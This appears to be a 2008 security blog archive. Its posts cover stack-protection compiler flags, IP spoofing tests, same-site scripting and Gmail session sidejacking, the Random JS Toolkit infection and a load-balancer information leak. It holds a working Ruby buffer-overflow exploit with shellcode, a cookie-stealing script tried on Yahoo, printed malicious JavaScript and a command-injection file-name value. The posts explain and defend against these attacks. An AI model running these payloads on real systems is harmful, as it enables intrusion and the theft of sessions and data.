Jan 31, 2008

All bets are off

I often hear or read this:

if the user gets a shell all bets are off
I find this claim ridiculous because it would only apply to improperly secured systems. The old folks would say that admin errors, programs ran as root and suid binaries (these are becoming scarce) are popular ways of getting root. If it is still the '90s I would agree.

On recent systems there exist security mechanisms that a competent administrator can implement to make it harder for attackers to exploit those binaries and programs. It should be a given that the administrator has properly secured those ran as root and suid programs. Accidentally typing the root password on the shell or having it get its way to the logs? C'mon now.

Anyway I think a trojaned ran as root software can be hard to detect but access control in place can catch those. The worst privilege escalation vector would be a kernel bug and the administrator can even do something about that. Besides a kernel bug, a system image backdoored with a good rootkit would be very hard to detect. Usually it needs to be taken offline for investigation.

Jan 29, 2008

SSP and _FORTIFY_SOURCE

For overflow protection Stack Smashing Protector (formerly known as ProPolice) and _FORTIFY_SOURCE are two of the most prevalent extensions for GCC and Glibc. Both are independent of each other so they can be used together for an insanely paranoid setup.
Here is a sample code which is easily overflowed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc,char *argv[]) {
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
The normal x86 assembly output without SSP or _FORTIFY_SOURCE for main() should be:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x10c
mov eax, dword ptr [ecx+0x4]
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call strcpy
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
Allows for a clean overflow. Here is a exploit for the above code.
#!/usr/bin/ruby
shellcode =
"\xeb\x0d\x5e\x31\xc9\xb1\x28\x80\x36\x02\x46\xe2\xfa"+
"\xeb\x05\xe8\xee\xff\xff\xff\x33\xc2\xb9\x03\x02\x02"+
"\x02\x52\x6a\x61\x02\x02\x02\x6a\x6d\x6c\x71\x67\x6a"+
"\x67\x66\x42\x67\x56\x5b\xb8\x0b\x02\x02\x02\xb2\x06"+
"\xcf\x82\xb2\x03\x8b\xc1\xcf\x82"
ret = "\x1c\xee\xff\xaf" * 4
sled = "\x90" * (ARGV[0].to_i - (shellcode.length + ret.length))
exploit = (sled + shellcode + ret)
system(ARGV[1],exploit)
ARGV[0] takes the input size and ARGV[1] is the vulnerable executable name. The shellcode just prints ed@eonsec.
$ ./dumbsoft blog.eonsec.com
$ ./dumbsoft `ruby -e 'puts "E"*256'`
Segmentation fault
$ ./exploit.rb 260 ./dumbsoft
ed@eonsec

The relevant gcc options for SSP are -fstack-protector, -fstack-protector-all, -wstack-protector and --param=ssp-buffer-size=. Let us see what is the effect of fstack-protector.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x11c
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-0x8], edx
xor edx, edx
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call strcpy
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-0x4]
leave
lea esp, [ecx-0x4]
ret
You can see SSP in action, inserting the canary from gs:0x14 into EBP, after the call to strcpy(3) the canary is retrieved and checked. If it is untampered it will jump to .pass else __stack_chk_fail is called. By the way a quirk of SSP:
$ ./dumbsoft `ruby -e 'puts "E"*256'` ; echo $?
Segmentation fault
139
$ ./dumbsoft-ssp `ruby -e 'puts "E"*256'` ; echo $?
0
$ ./exploit.rb 256 ./dumbsoft-ssp
$ ./exploit.rb 257 ./dumbsoft-ssp
*** stack smashing detected ***: ./dumbsoft-ssp terminated

Now on to _FORTIFY_SOURCE. The only relevant option for GCC is -D_FORTIFY_SOURCE=. Here is the assembly with -D_FORTIFY_SOURCE=2 used.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x108
mov eax, dword ptr [ecx+0x4]
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call __strcpy_chk
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
$ ./dumbsoft-fortify `ruby -e 'puts "E"*256'`
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x45454545]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
$ ./exploit.rb 256 ./dumbsoft-fortify
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x90909090]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
As you can see _FORTIFY_SOURCE uses a different way of detecting an overflow. It has __strcpy_chk which as the name implies checks the input to strcpy(3).

Also it looks like _FORTIFY_SOURCE catches overflows earlier than SSP. To be clearer here is the assembly when both are enabled:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x118
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-8], edx
xor edx, edx
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call __strcpy_chk
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-4]
leave
lea esp, [ecx-4]
ret
If it is not obvious the __strcpy_chk comes before the canary check. I have not taken a look at the advantage of SSP over _FORTIFY_SOURCE maybe next time.

Jan 27, 2008

Spoofing

If you have experience doing DDoS mitigation it will be impossible not to encounter IP address spoofing. Spoofing makes it harder to track the source of attacks. That is why it is still an effective although primitive technique for hiding botnets.

Nowadays it is hard to spoof non-routable addresses. Most ISPs, even the small ones does not allow non-routable to leave their networks anymore. Those in the DDoS business does not have a choice but to use routable source addresses, spoofed or not.
Spoofed source addresses can be:

  • Random
  • Fixed
  • Subnet
  • En route

Random simply means that a random IP address is used by the attacking host. Filtering done by routers and gateways makes random IP spoofing less effective than the other techniques. Fixed spoofing is done by using an arbitrary chosen address which is mandatory for attacks like DNS amplification/reflection. With subnet spoofing, an address in the subnet is spoofed to bypass filters. For example if the compromised host resides in the 5.25.80.0/24 network it will be able to spoof addresses between 5.25.80.1-5.25.80.255. It will be hard for the router on the next hop to detect spoofing unless it has the capability to begin with. En route spoofing is done when an attacker spoofs an address of a machine that resides along the path to the victim.

The most pervasive spoofed packets are UDP, ICMP and TCP SYN. SYN packets are mainly used for bruteforce attacks. Even if an attacked host has TCP SYN cookies deployed, it will still be vulnerable to TCP SYN attacks that overwhelms the network with a large number of packets which it can not handle. If I am not mistaken spoofed UDP and ICMP packets are more pervasively used for DDoS nowadays. Fortunately this is not the 90's anymore, SMURF attacks are no longer effective. The new use for spoofed UDP packets are direct DNS attacks and DNS amplification/reflection attacks.

For the relevant RFC entries see section 2.5.5 of RFC3871, section 5.3.8 of RFC1812 and RFC2827.

Recently I found a provider here in the Philippines that allows spoofed packets to leave their network. For reference here is a traceroute of the path where I did the test.
 1   [AS9497] [APNIC-CIDR-BLK/DIGITEL-DIAL-UP] [gw.of.host.i.control] 2.2ms
2 [AS9497] [APNIC-CIDR-BLK/DIGITELONE] 202.138.144.66 1.9ms
3 [AS3549] [APNIC-CIDR-BLK/ANC-NETBLK01] 203.192.153.201 37.2ms
4 [AS10026] [APNIC-CIDR-BLK/ANC-NETBLK02] 202.147.16.101 37.3ms
5 [AS10026] [APNIC-CIDR-BLK/ANC-NETBLK02] 202.147.49.209 73.5ms
6 [AS3549] [APNIC-CIDR-BLK/ANC-NETBLK01] 203.192.188.14 73.1ms
7 [AS4775] [APNIC-CIDR-BLK/GLOBET-PH] 203.177.211.217 113.5ms
8 [AS4775] [APNIC-CIDR-BLK/GLOBET-PH] 203.177.31.86 114.2ms
9 [AS4775] [APNIC-CIDR-BLK/GLOBET-PH] 203.177.31.46 112.4ms
10 [AS4775] [APNIC-CIDR-BLK/GLOBET-PH] 203.177.31.41 112.9ms
11 [AS4775] [APNIC-CIDR-BLK/GLOBET-PH] 203.177.55.49 118.3/*ms
12 [AS9386] [APNIC-CIDR-BLK/DESTINYNOC] 202.8.224.131 117.9ms
13 * * *
14 [AS9386] [APNIC-CIDR-BLK/DESTINYNOC] [target.host.i.control] 223.4ms
I tested fixed, subnet and en route spoofing. Port 53 was used for the TCP and UDP source port and port 80 as the destination port. Sanitized the target host IP on the sniffer logs.

For fixed source address spoofing I used a Google IP.
IP 64.233.187.99 > 10.10.10.10: ICMP echo request, id 20051, seq 0, length 8
IP 10.10.10.10 > 64.233.187.99: ICMP echo reply, id 20051, seq 0, length 8
IP 64.233.187.99.53 > 10.10.10.10.0: UDP, length 0
IP 10.10.10.10 > 64.233.187.99: ICMP 10.10.10.10 udp port 0 unreachable, length 36
IP 64.233.187.99.53 > 10.10.10.10.80: tcp 0
IP 10.10.10.10.80 > 64.233.187.99.53: tcp 0
IP 64.233.187.99.53 > 10.10.10.10.80: tcp 0

For subnet source address spoofing I used one of the IPs in the subnet where the source resides.
IP ?.?.?.? > 10.10.10.10: ICMP echo request, id 15699, seq 0, length 8
IP 10.10.10.10 > ?.?.?.?: ICMP echo reply, id 15699, seq 0, length 8
IP ?.?.?.?.53 > 10.10.10.10.0: UDP, length 0
IP 10.10.10.10 > ?.?.?.?: ICMP 10.10.10.10 udp port 0 unreachable, length 36
IP ?.?.?.?.53 > 10.10.10.10.80: tcp 0
IP 10.10.10.10.80 > ?.?.?.?.53: tcp 0

For en route source address spoofing I used one each from AS9497, AS10026 and AS4775.
IP 202.138.144.66 > 10.10.10.10: ICMP echo request, id 9299, seq 0, length 8
IP 10.10.10.10 > 202.138.144.66: ICMP echo reply, id 9299, seq 0, length 8
IP 202.138.144.66.53 > 10.10.10.10.0: UDP, length 0
IP 10.10.10.10 > 202.138.144.66: ICMP 10.10.10.10 udp port 0 unreachable, length 36
IP 202.138.144.66.53 > 10.10.10.10.80: tcp 0
IP 10.10.10.10.80 > 202.138.144.66.53: tcp 0
IP 202.138.144.66.53 > 10.10.10.10.80: tcp 0

IP 202.147.49.209 > 10.10.10.10: ICMP echo request, id 35155, seq 0, length 8
IP 10.10.10.10 > 202.147.49.209: ICMP echo reply, id 35155, seq 0, length 8
IP 202.147.49.209.53 > 10.10.10.10.0: UDP, length 0
IP 10.10.10.10 > 202.147.49.209: ICMP 10.10.10.10 udp port 0 unreachable, length 36
IP 202.147.49.209.53 > 10.10.10.10.80: tcp 0
IP 10.10.10.10.80 > 202.147.49.209.53: tcp 0
IP 10.10.10.10.80 > 202.147.49.209.53: tcp 0

IP 203.177.31.86 > 10.10.10.10: ICMP echo request, id 36179, seq 0, length 8
IP 10.10.10.10 > 203.177.31.86: ICMP echo reply, id 36179, seq 0, length 8
IP 203.177.31.86.53 > 10.10.10.10.0: UDP, length 0
IP 10.10.10.10 > 203.177.31.86: ICMP 10.10.10.10 udp port 0 unreachable, length 36
IP 203.177.31.86.53 > 10.10.10.10.80: tcp 0
IP 10.10.10.10.80 > 203.177.31.86.53: tcp 0
IP 203.177.31.86.53 > 10.10.10.10.80: tcp 0

Jan 25, 2008

Ugly logs

Over at the LogAnalysis mailing list a pseudo contest is being held. A lot of the log snippets posted really is ugly, funny and useless. A particular log snippet from Novell OES 2 Linux's Lightweight/Linux Auditing Framework is being ridiculed: Novell_OES2_LAF_log.txt.

I admit that it is ugly but it is far from useless. I find the information provided quite readable and verbose. There must be switch to make less verbose. I think the following is not really useful:

  • arch
  • a0
  • a1
  • a2
  • a3
  • items
  • subj
  • key

The format needs improvement, I guess it was formatted that way for easier parsing by shell utilities such as AWK. Splitting it into multiple lines grouped by type e.g. guid, uid, eid and with a marker for easier specific host identification is definitely much better.

If you are wondering why would anyone want detailed logs like that. From a security standpoint it is good practice to monitor users/directory/file/application access and of course compliance to SOX Section sec 302(a)(5) and the like.

Jan 24, 2008

Browsers not adhering to SOP?

A few days ago Tavis Ormandy sent an advisory to Bugtraq:

It's a common and sensible practice to install records of the form
"localhost. IN A 127.0.0.1" into nameserver configurations, bizarrely
however, administrators often mistakenly drop the trailing dot,
introducing an interesting variation of Cross-Site Scripting (XSS) I
call Same-Site Scripting. The missing dot indicates that the record is
not fully qualified, and thus queries of the form
"localhost.example.com" are resolved. While superficially this may
appear to be harmless, it does in fact allow an attacker to cheat the
RFC2109 (HTTP State Management Mechanism) same origin restrictions, and
therefore hijack state management data.
Based on the advisory you can steal cookies on multi-user systems. The attacker starts a HTTP daemon bound to 127.0.0.1 on port 1024. Lures a victim to visit http://localhost.example.com:1024/example.gif. Cookies set by example.com are then sent to the HTTP daemon listening at 127.0.0.1:1024.

If you are familiar with the Same Origin Policy which is supposed to be implemented by popular browsers, you will think this is not possible. But quoting Tavis:
It appears to be a common mistake to confuse the JavaScript SOP and the HTTP originating host definition for Cookies with regard to port number. The JavaScript SOP does include the port number, where as RFC2109 explicitly does not. This behaviour is arguably incorrect, making it impossible to securely host a website from a multi-user machine, but nevertheless is the case, and is implemented by most major browsers.

Of course the best way to verify is test it yourself. Here in the Philippines Yahoo Mail is very popular and one of those affected by Same-Site Scripting is Yahoo.com. The FQDN localhost.yahoo.com resolves to 127.0.0.1. I log in to my Yahoo account and start a HTTP daemon bound to 127.0.0.1:1024 as a non-root user. Visited http://localhost.yahoo.com:1024/index.html which has the following source:
<html><script>document.location='http://127.0.0.1:1024/'+document.cookie</script></html>
On the HTTP daemon logs I see:
127.0.0.1 - - [24/Jan/2008:05:21:31 +0000] 
"GET /B=0q8rtapgs4wdb&b=3&s=nb;%20YLS=v=1&p=0&n=1;%20
F=a=mehEFaoMvT8woslcBRoiHBHL_ZH7tf0b70pskyc6Ko45aE_7m1zPdsU55J_FZpdieb7ABuo-&b=zK9B;%20
Y=v=1&n=d9uqwiam26nfr&l=1eoxrc5wy/o&p=m2gei983y2000000&iz=1200&r=
HTTP/1.1" 404 0 "http://localhost.yahoo.com:1024/" "Opera/9.25"
Tested both Firefox 2.0.11 and Opera 9.25. Looks like both browsers do not adhere to Same Origin Policy 'different port restriction'.

Going back to the original advisory, this named misconfiguration issue is quite widespread because of an easily missed trailing dot. In the DDoS mitigation front it is a common practice to blackhole traffic by resolving attacked hosts to 127.0.0.1. Because of SSS soon it will become bad advise since stored cookies from a blackholed host will be in danger from resourceful attackers.

Jan 23, 2008

Unsecured WiFi and Gmail

Many people are not aware of the dangers when browsing from unsecured wireless hotspots. To demonstrate to a friend I volunteered to sidejack his Google mail session.

Before I can do that I need to know what specific cookies Google needs for a valid session. By carefully reducing cookies one by one I got these two:

google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
mail.google.com /mail GX=DQAAAGoAAAD8gt_Ei66AAynLmNMuqhUTbig34xydickxZT5
qkXlfDkjksdjf39ekfatpigXYVSGqHaBhUNuQ93MSbf7boyhahap01V0l74ghmqajdvtv14X
8gQ1fRdqIdxzny5_CryNSSymSC6HR_Sf59oATsAPH
You have to issue another GET request to http://mail.google.com/mail/ after manipulating your cookies. If you click on the Inbox link at the left of the UI you will get logged out because of the Ajax acrobatics done by Gmail.
A weird behavior I experienced when using Opera, sometimes you can also get away with GMAIL_LOGIN and LSID:
google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
www.google.com /accounts LSID=mail|s.PH:DQAAAGoAAABhqZ-GPDI5CKISHnit7O-Y
GjjHquF6fFkYUZMuAcfackXzohvS_YRY3you8aCcBkFDwgkaN75F8t_ogagHoG0KyJy2z7yN
Cg6_R5yqINlmqE8YQG1j2WKsiJKCzKw6KC3mha86RjiI9FEHbTormjeg
This time around you have to click on the Inbox link at the left. You are not logged out but you get this error message in Opera: 'Oops...the system was unable to perform your operation (error code 007). Please try again in a few seconds'.
Other interesting findings:
  • The GMAIL_LOGIN and LSID cookie is tied to the username.
  • Signing out the session will revoke the cookies.
  • The rememberme cookie does not seem to make a difference when stealing GMAIL_LOGIN and GX cookies.
  • GMAIL_LOGIN or SID + LSID is enough for other Google services.

After a few minutes analyzing Gmail cookies I then fired up Aircrack-ng. With less than an hours' worth of pcap data, precious GMAIL_LOGIN and GX cookies are ready for picking. After editing the cookies on my currently logged in Gmail account and issuing a GET for http://mail.google.com/mail/ I was greeted by my friend's Inbox. He was flustered, sidejacking was a success.

Connecting to an unsecured WiFi is like connecting to a hub or broken switch. All your unencrypted streams are considered sniffer food. By the way always sign out after using your Google accounts and use https://mail.google.com/.

Jan 20, 2008

Random JS Toolkit

Last week we saw the media coverage of the Random JS Toolkit. Several Linux servers were compromised for malware distribution, directly infecting visitors. The initial vector of compromise is currently unknown and the rootkit installed afterwards is very stealthy to an inexperienced administrator.

It was reported that some sites were compromised repeatedly even after a fresh operating system reinstall. As of this moment some of these sites are still up today serving malware even though they are knowingly rooted.

It is easier to analyse the malware infection than the server compromise. The toolkit inserts a randomly named JavaScript file right after the <body> tag of web pages.

<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
Here are sample diffs of infected pages.
  <body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'
- stylesrc=main.html>
+ stylesrc=main.html>
+<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
<div class=Section1>
<p class=MsoNormal><!--webbot bot="Include" tag="BODY" u-include="main.html"
</head>
 -->
</script>
</head>
-<body>
+<body><script language='JavaScript' type='text/javascript' src='pkfae.js'></script>
<table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
The line is inserted by the toolkit on the first visit based on the IP address and then randomly inserted afterwards. The malicious JS file has several malware embedded which is obfuscated by unescape() sequences and it also downloads a trojan binary to the visitor's machine. The filename of the binary is also randomized as seen on the top of the JS file.
var arg="xxcjutss";

var MU = "http://" + document.location.hostname + "/" + arg;
var MH = '';
var MUT = MU;
for (i=0; i < MUT.length; i++)
{
var b = MUT.charCodeAt (i);
MH = MH + b.toString (16);
}
MH = MH.toUpperCase();
if (Math.round(MUT.length/2) != (MUT.length/2))
{
MH += '00';
}

var MR = '';
for (i=0; i < MH.length; i += 4)
{
MR = MR + '%u' + MH.substring(i+2, i+4) + MH.substring(i, i+2);
}

var MU2 = "\"" + MU + "\"";
var MR2 = "\"" + MR + "\"";

var SB =
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MR2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A');

document.write (SB);
More information on the malicious JS can be seen at the TrendLabs Malware Blog. This random JS generation component of the toolkit has been seen and reported as early as April 2007 and July 2007 respectively. Similar to other victims they have no idea where the random JS is coming from.

From what I can gather the initial break-in is not through PHP core or web applications since I have seen infected plain html and PHP pages. Also seen Apache 2 and 1.3 serving these infected pages, JS and binaries. cPanel has released an informative security note for this toolkit. Seems to be an unknown root compromise happening on the servers. If the root shell is obtained or the rootkit is installed through /dev/kmem the following patch can disable writing to it. Note that this is just a workaround since the real cause of the initial compromise is unknown.
--- linux/drivers/char/mem.c 2007-10-10 04:31:38.000000000 +0800
+++ linux/drivers/char/mem_nowrite.c 2008-01-20 15:26:32.000000000 +0800
@@ -179,7 +179,7 @@ static ssize_t write_mem(struct file * f

if (!valid_phys_addr_range(p, count))
return -EFAULT;
-
+ return -EPERM;
written = 0;

#ifdef __ARCH_HAS_NO_PAGE_ZERO_MAPPED

To workaround the inclusion of the JS file some resorted to patching even though they are knowingly compromised.
 </head>
<script language='JavaScript' type='text/javascript'>/*
-//<body >
+//<body ><script language='JavaScript' type='text/javascript' src='rylet.js'></script>
//
*/
</script>
And even tried to mask the server software and version in case it is an automated compromise.
$ curl -I www.reallybored.net 
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 14:52:23 GMT
Server: WebServerX
X-Powered-By: PHP/4.4.6
Content-Type: text/html
$ curl -I www.bellingerfurniture.co.uk
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 15:24:18 GMT
Server:
X-Powered-By: PHP/4.3.11
Content-Type: text/html

The details of the initial compromise is unknown yet because researchers are having a hard time obtaining post mortem server images. Based on the information available, if this is a software vulnerability I reckon this is an obscure vulnerability in Apache (or module) coupled with an equally obscure Linux kernel vulnerability. If that is not the case, most likely it is a backdoored server image or distribution software package. The multiple stage compromise and infection done on different operating systems is cunning. This is a good example why good guys should always be in the know and should at least keep up with the bad guys.

Here are URLs for additional information on this nefarious toolkit.
http://blog.scansafe.com/journal/2008/1/15/mom-pop-sites-hit-hard-by-host-compromise.html
http://www.finjan.com/Pressrelease.aspx?id=1820&PressLan=1819&lan=3
http://www.webhostingtalk.com/showthread.php?t=651748
http://www.theregister.co.uk/2008/01/11/mysterious_web_infection/
http://www.channelregister.co.uk/2008/01/16/mysterious_web_infection_continues/

Jan 18, 2008

Almost outdated patch

Rummaging around my directories to free up space I saw htpasswdc_plusvalidation.patch which added htpasswd input validation for thttpd-2.25b. I wondered if it got into Gentoo Portage because I think the patch is two years old. Found it in /usr/portage/www-servers/thttpd/files/thttpd-2.25/
named additional-input-validation-httpd.c.diff. Checking the Changelog:

28 Feb 2007; Thilo Bangert <bangert@gentoo.org>
+files/thttpd-2.25/additional-input-validation-httpd.c.diff,
+files/thttpd.logrotate, +thttpd-2.25b-r7.ebuild:
add logrotate script (bug #150993)
run under thttpd user instead of nobody (bug #151227)
extra input sanitation for htpasswd (bug #128165)
einfo -> elog
Last time I looked at my Gentoo bug report, it was not considered a security issue. Www-servers herd merged the patch in February 2007, and I only noticed it today.

About the actual vulnerability, the reporter's main contention is that some people will run htpasswd through sudo. See CVE-2006-1079 and OSVDB:23828:
larry@mog:~$ sudo /bin/htpasswd -c "blh;id>lp" www
larry@mog:~$ sudo /bin/htpasswd "blh;id>lp" www
Changing password for user www
New password:
Re-type new password:
larry@mog:~$ cat lp
uid=0(root) gid=0(root) groups=0(root)
larry@mog:~$ sudo id
We trust you have received the usual lecture from the local System Administrator.
It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
Sorry, user larry is not allowed to execute '/usr/bin/id' as root on mog.

Almost a year before it was merged and almost two years has passed before I noticed. On another submission, the netstat-nat spell (similar to an ebuild in Gentoo) I submitted to Sourcemage Linux in April 2005 was merged in December 2007, almost three years. I am sure this is because of lack of manpower. See the spell submission.

Jan 17, 2008

Exposed internal IP addresses

With permission from a client I was allowed to divulge a minor vulnerability in an unknown load balancer. I was asked to do some testing on their servers exposed to the Internet, they wanted to know how do they look like from the h^Hcracker's point of view. I think from now on I will call these type of tests 'black box reconnaissance' since I do not have prior knowledge of their internal network.

They have the usual stuff like a firewall which sends a RST to a blacklisted host. I have custom tests for web servers and I accidentally found a vulnerability in their load balancer, my client does not want to disclose the brand or make of the load balancer.

Apparently requesting over HTTP 1.0 without a trailing slash reveals the internal IP addresses of the web servers.

Testing: HTTP 1.0 without trailing slash
-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.2/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.4/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.3/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

Testing: HTTP 1.0 with trailing slash
-- HEAD /portal/ HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2008 10:00:14 GMT
Server: Apache
Connection: close
Content-Type: text/html

Testing: HTTP 1.1 without trailing slash
-- HEAD /portal HTTP/1.1
-- HOST: example.com
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 10:00:43 GMT
Server: Apache
Location: http://example.com/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

Testing: HTTP 1.1 with trailing slash
-- HEAD /portal/ HTTP/1.1
-- HOST: example.com
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2008 10:01:00 GMT
Server: Apache
Connection: close
Content-Type: text/html

Microsoft IIS had a similar security vulnerability, Internet Information Server returns IP address in HTTP header (Content-Location):
This header may expose internal IP addresses that are typically hidden or masked behind a Network Address Translation (NAT) Firewall or a proxy server. Example:
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: http://10.1.1.1/Default.htm
Date: Thu, 18 Feb 1999 14:03:52 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 06 Jan 1999 18:56:06 GMT
ETag: "067d136a639be1:15b6"
Content-Length: 4325
In this example, the Content-Location specifies the private internal address of the IIS computer in the header. This header is then unchanged when it passes through a firewall or proxy server. Therefore, the security of the internal network may be compromised by exposing the network addresses that are being used.

A fellow in the Full-Disclosure mailing list said he have seen this in F5 BIG-IP and IIS. Unfortunately I do not have access to a BIG-IP anymore so I can not confirm myself.

Jan 15, 2008

CPS3 and crypto

From 1997-2000 I was an avid player of button smashing 2D fighting games, Street Fighter III 3rd Strike: Fight for the future was a favorite. With the advent of arcade game emulation on the PC I played NEOGEO and CPS2 games on Windows and Linux emulators. But I was not able to play the SFIII series because there are no known workarounds against the encryption of CPS3 (Capcom Play System III) boards.

The CPS3 has nasty protection built-in to prevent reverse engineering. There is a encrypted game CD and a cartridge for protection. When the system boots up, the CD is flashed into memory and then decrypted on-the-fly by the cartridge. The cartridge is very sensitive to manipulation and if the watchdog detects tampering, the decryption key is erased and the board becomes unusable. The CPS2 has a similar feature dubbed 'Capcom Suicide'. CPS2's encryption was previously worked around using XOR decryption tables but now it is fully cracked.

The same person that cracked CPS2 has cracked the CPS3 encryption, quoting Andreas Naive (Spanish to English):

As we had predicted from the beginning, the algorithm is cryptographically weak, so that, once discovered, it has not been too difficult develop an attack with which to recover the keys.

Andreas' spanish language blog entries from April to June 2007 has the details of the CPS3 attack. Another blog of interest is Nicola Salmoria's blog which has details of the CPS2 attack. Read the cryptoanalysis stuff on their blogs, these folks crack encryptions for fun.

It is also interesting to note that Capcom used some 'birth dates' in the keys of CPS2 and CPS3 games. Here are the keys for the CPS3 games:
jojo:    0x02203ee3 0x01301972
jojoba: 0x23323ee3 0x03021972
sfiii: 0xb5fe053e 0xfc03925a
sfiii2: 0x00000000 0x00000000
sfiii3: 0xa55432b4 0x0c129981
warzard: 0x9e300ab1 0xa175b82c

The lesson here is that closed encryption algorithms (specially if weak) can be cracked given the demand and challenge. Now I can play Street Fighter III 3rd Strike on my PC, thanks to crypto geeks and of course to Capcom.

Jan 10, 2008

MS08-001 details

A critical vulnerability affecting Windows XP SP2, 2000 SP4, Server 2003 and Vista was patched this tuesday. From the bulletin:

